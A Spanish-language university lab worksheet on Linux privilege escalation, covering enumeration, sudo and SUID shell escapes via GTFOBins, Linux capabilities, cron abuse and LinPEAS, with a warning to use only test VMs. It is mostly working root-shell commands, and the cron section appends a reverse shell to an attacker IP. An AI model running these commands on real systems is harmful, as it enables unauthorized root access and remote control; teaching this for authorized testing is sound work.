Saltar al contenido principal

Lab 9.1: Escalada de Privilegios en Linux

Objetivos de Aprendizaje​

Al finalizar este laboratorio, usted será capaz de:

  • Enumerar un sistema Linux para encontrar vectores de escalada
  • Explotar binarios SUID/SGID mal configurados
  • Explotar sudo mal configurado
  • Utilizar GTFOBins para explotación de binarios
  • Explotar capabilities de Linux
  • Explotar tareas cron mal aseguradas
  • Utilizar LinPEAS para automatización
  • Elevar de usuario estándar a root en pocos minutos

Duración Estimada​

40 minutos

Prerrequisitos​

  • VM Linux (Ubuntu/Debian) o WSL
  • Cuenta de usuario estándar
  • Acceso a una cuenta con sudo (para configuración)
  • Comprensión básica de Linux

Contexto Profesional​

La escalada de privilegios en Linux es esencial en:

  • Pruebas de penetración
  • CTF y competiciones
  • Auditoría de seguridad
  • Ejercicios de Red Team

Utilizado después de:

  • Explotación inicial (web shell, SSH comprometido)
  • Para obtener root y control total

Técnicas de escalada para obtener root sin autorización = Delito informático.

PERMITIDO:

  • VM de pruebas
  • Plataformas legales (TryHackMe, HackTheBox)
  • Pruebas autorizadas

PROHIBIDO:

  • Servidores reales sin permiso
  • Escalada no autorizada

Parte 1: Enumeración en Linux​

Comandos Esenciales​

Información del sistema:

uname -a                # Kernel version
cat /etc/os-release # Distribution
hostname # Nom machine
id # Votre UID/GID
whoami # Nom utilisateur

Permisos y sudo:

sudo -l                 # Commandes sudo autorisées
cat /etc/sudoers # Configuration sudo (si lisible)

Resultado típico de sudo -l:

User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim

CRÍTICO: ¡El usuario puede ejecutar vim como root sin contraseña!

Búsqueda de archivos SUID:

find / -perm -4000 2>/dev/null

Resultado:

/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find ← PELIGROSO SI MAL CONFIGURADO
/usr/bin/vim.basic ← MUY PELIGROSO

Preguntas:

  1. ¿Qué versión de kernel utiliza su sistema?
  2. ¿Qué comandos sudo puede ejecutar?

Parte 2: Explotación de Sudo​

Sudo con NOPASSWD​

Si sudo -l muestra:

(ALL) NOPASSWD: /usr/bin/vim

Explotación vía GTFOBins:

Visite: https://gtfobins.github.io/gtfobins/vim/

Payload:

sudo vim -c ':!/bin/bash'

O:

sudo vim
:set shell=/bin/bash
:shell

¡BOOM! ¡Shell root!

Verifique:

whoami
id

Resultado: root

¡De usuario a root en 10 segundos!

Otros Binarios Explotables​

find:

sudo find /etc -exec /bin/bash \;

awk:

sudo awk 'BEGIN {system("/bin/bash")}'

less:

sudo less /etc/hosts
!bash

python:

sudo python -c 'import os; os.system("/bin/bash")'

Preguntas: 3. ¿Funcionó la explotación de sudo? 4. ¿Qué binario explotó?


Parte 3: Binarios SUID​

Encontrar SUID Peligrosos​

Búsqueda:

find / -perm -4000 2>/dev/null

Binarios SUID legítimos (normales):

  • /usr/bin/passwd
  • /usr/bin/sudo
  • /usr/bin/su

Binarios SUID PELIGROSOS (si están presentes):

  • /usr/bin/find
  • /usr/bin/vim
  • /usr/bin/python
  • /usr/bin/bash
  • /usr/bin/more
  • /usr/bin/less

Si find es SUID:

/usr/bin/find /etc -exec /bin/bash -p \;

Opción -p: Preserva SUID (¡permanece como root!)

Preguntas: 5. ¿Qué binarios SUID encontró? 6. ¿Cuáles son explotables según GTFOBins?


Parte 4: Capabilities de Linux​

Listar Capabilities​

getcap -r / 2>/dev/null

Resultado típico:

/usr/bin/python3.8 = cap_setuid+ep

cap_setuid: ¡Permite cambiar el UID!

Explotación:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

¡Root obtenido!

Preguntas: 7. ¿Hay binarios con capabilities peligrosas presentes?


Parte 5: Cron Jobs​

Encontrar Cron Jobs​

cat /etc/crontab
ls -la /etc/cron.*
crontab -l

Si el script de cron es editable:

echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh

Espere la ejecución: ¡Shell root!


Parte 6: Automatización con LinPEAS​

Instalación​

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

¡Escaneo completo automático!

Resultado:

  • Todas las vulnerabilidades listadas
  • Código de colores (rojo = crítico)
  • Sugerencias de explotación

Entregables​

  1. Informe con escalada exitosa de usuario a root
  2. Método utilizado (sudo, SUID, capabilities)
  3. Tiempo medido para la escalada
  4. Output completo de LinPEAS

Conclusión​

Técnicas dominadas:

  • Enumeración completa de Linux
  • Explotación de sudo
  • Explotación de SUID
  • Capabilities
  • Automatización con LinPEAS

Tiempo típico de escalada: ¡5-15 minutos con enumeración!


Laboratorio desarrollado en el marco del curso Sistemas Operativos - MÓDULO 9